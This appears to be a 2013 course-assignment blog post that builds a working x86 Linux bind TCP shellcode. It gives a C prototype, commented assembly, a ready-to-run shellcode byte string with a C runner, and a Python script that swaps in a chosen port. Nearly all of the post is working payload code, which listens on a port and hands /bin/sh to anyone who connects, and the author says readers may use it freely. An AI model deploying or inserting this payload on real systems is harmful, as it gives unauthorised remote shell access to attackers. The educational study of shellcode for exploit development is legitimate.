SLAE Assignment 1: Writing your own Bind TCP Shellcode

01 May 2013

This is the first assignment in the Securitytube SLAE series. The assignment consists of writing your own bind tcp shell. I've compiled a list of resources I used to better understand how this works and also taking parts of other people's shellcode which make your code better. My code included below is what I wrote, it's far from optimal as their are ways to compact the code so the length of the shellcode would be lower. Personally I wouldn't use my shellcode as there are tons of shorter and better variants available, however you are free to use it for whatever you want.

Information

Github Repository: https://github.com/cloud101/SLAE32/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-­251

bind tcp shellcode

Resources:

I first built a prototype in C to have an easier overview of what had to happen.

int main(void) {
   int sockfd, new_sockfd;  // Listen on sock_fd, new connection on new_fd
   struct sockaddr_in host_addr, client_addr;   // My address information
   socklen_t sin_size;
   int yes=1;
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   host_addr.sin_family = AF_INET;         // Host byte order
   host_addr.sin_port = htons(31335);      // Short, network byte order
   host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.
   memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.
   bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));
   listen(sockfd, 4);
   sin_size = sizeof(struct sockaddr_in);
   new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
   dup2(new_sockfd,0);
   dup2(new_sockfd,1);
   dup2(new_sockfd,2);
   execve("/bin/sh", NULL, NULL);
}

So I translated this into assembly:

global _start
section .text
_start:
;initiate the variables and clear the variables (trick from msfpayload)
xor ebx,ebx
mul ebx
;first create a socket by pushing the variables
;sockfd = socket(AF_INET, SOCK_STREAM, 0);
mov al,102 ;move syscall into al, do not use eax or you will end up with 0x00
push ebx; Build the arguments list, 0 indicates the default protocol
inc ebx ; increase to one
push ebx  ; 1 on the stack, this is to indicate that we will be using SOCK_STREAM
push byte 0x2 ; 2 is AF_INET
mov ecx, esp ; move the stackpointer into ecx
int 0x80 ; syscall to create a socket file descriptor
mov esi, eax ;  save the socket into ESI so we can use it later to change it with dup2
;Here comes our bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr))  instruction
mov al,102 ;syscall socket
mov bl,2   ; change to bind
push edx ; construct the argument list starting with 0 for INADDRY_ANY
push word 0x697a ; port 31337
push word bx; AF_INET
mov ecx, esp ; this points to the struct we made
push byte 0x10; length of the struct is 16 bytes
push ecx ; this is points to our struct
push esi ; this points to our file descriptor
mov ecx, esp ; move the stackpointer (argument array) into esp
int 0x80
;listen(sockfd, 4);
mov al,102
mov bl,4 ; SYS_LISTEN
push ebx ; construct arguments, max 1 simulatanious connection
push esi ; push the filedescriptor
mov ecx,esp ; ecx = arguments array
int 0x80
;accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
mov al,102
mov bl,5 ; SYS_ACCEPT
push edx ; construct argc, socket length is 0
push edx ; socketaddr  = nulll
push esi; file descriptor
mov ecx, esp ; argument array
int 0x80
 ; This is a trick I found on http://programming4.us/security/704.aspx
 ;dup2(connected socket, {all three standard I/O file descriptors})
  xchg eax, ebx     ; Put socket FD in ebx and 0x00000005 in eax.
  push BYTE 0x2     ; ecx starts at 2.
  pop ecx
dup_loop:
  mov BYTE al, 0x3F ; dup2  syscall #63
  int 0x80          ; dup2(c, 0)
  dec ecx           ; count down to 0
  jns dup_loop      ; If the sign flag is not set, ecx is not negative.
;call execve as we have done before
; execve(const char *filename, char *const argv [], char *const envp[])
  mov BYTE al, 11   ; execve  syscall #11
  push edx          ; push some nulls for string termination.
  push 0x68732f2f   ; push "//sh" to the stack.
  push 0x6e69622f   ; push "/bin" to the stack.
  mov ebx, esp      ; Put the address of "/bin//sh" into ebx via esp.
  push edx          ; push 32-bit null terminator to stack.
  mov edx, esp      ; This is an empty array for envp.
  push ebx          ; push string addr to stack above null terminator.
  mov ecx, esp      ; This is the argv array with string ptr
  int 0x80          ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
#include<stdio.h>
#include<string.h>
unsigned char buf[] =
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x53\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
main()
{
    int (*ret)() = (int(*)())buf;
    ret();
}

Compile and execute it. After that run it and netcat to the given port:

screenshot shell

I've also written a wrapper script which can change the port:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from argparse import ArgumentParser
parser = ArgumentParser(description="Shellcode generator")
parser.add_argument("-p","--port",dest="port", help="Provide a port between 1024 and 65535.", required=True,type=int )
args = vars(parser.parse_args())
arg_port = args["port"]
shellcode1 = \
""""\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\xb3\\x02\\x52\\x66\\x68"""
shellcode2 = \
"""\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04\\x53\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80";
"""
def portToHex(port):
        hexport  = str (hex(port)[2:] )
        if len (hexport) <= 3:
                temp = list(hexport)
                hex1 = temp[0]
                hex2 = temp[1]
                hex3 = temp[2]
                hexport = "\\x0"+hex1+"\\x"+hex2+hex3
        else:
                temp = list(hexport)
                hexport = "\\x"+temp[0]+temp[1]+"\\x"+temp[2]+temp[3]
        return hexport
if arg_port <= 65535 and arg_port >= 1024:
        port = portToHex(arg_port)
        print shellcode1 + port +shellcode2
else:
        print "Port too small. How unfortunate."